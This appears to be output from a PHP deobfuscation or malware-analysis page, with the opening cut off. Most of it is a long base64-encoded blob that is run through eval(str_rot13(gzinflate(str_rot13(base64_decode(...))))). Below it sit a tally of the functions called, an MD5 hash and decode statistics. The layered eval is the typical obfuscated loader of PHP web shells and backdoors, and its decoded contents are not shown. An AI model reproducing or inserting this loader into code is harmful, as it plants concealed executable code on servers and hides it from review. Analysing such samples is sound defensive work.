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";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($dmt))))));
Function Calls
| ini_set | 2 |
| gzinflate | 1 |
| str_rot13 | 2 |
| base64_decode | 1 |
Stats
| MD5 | b5157ce6d37639d349b0a4c9cd3db294 |
| Eval Count | 1 |
| Decode Time | 1024 ms |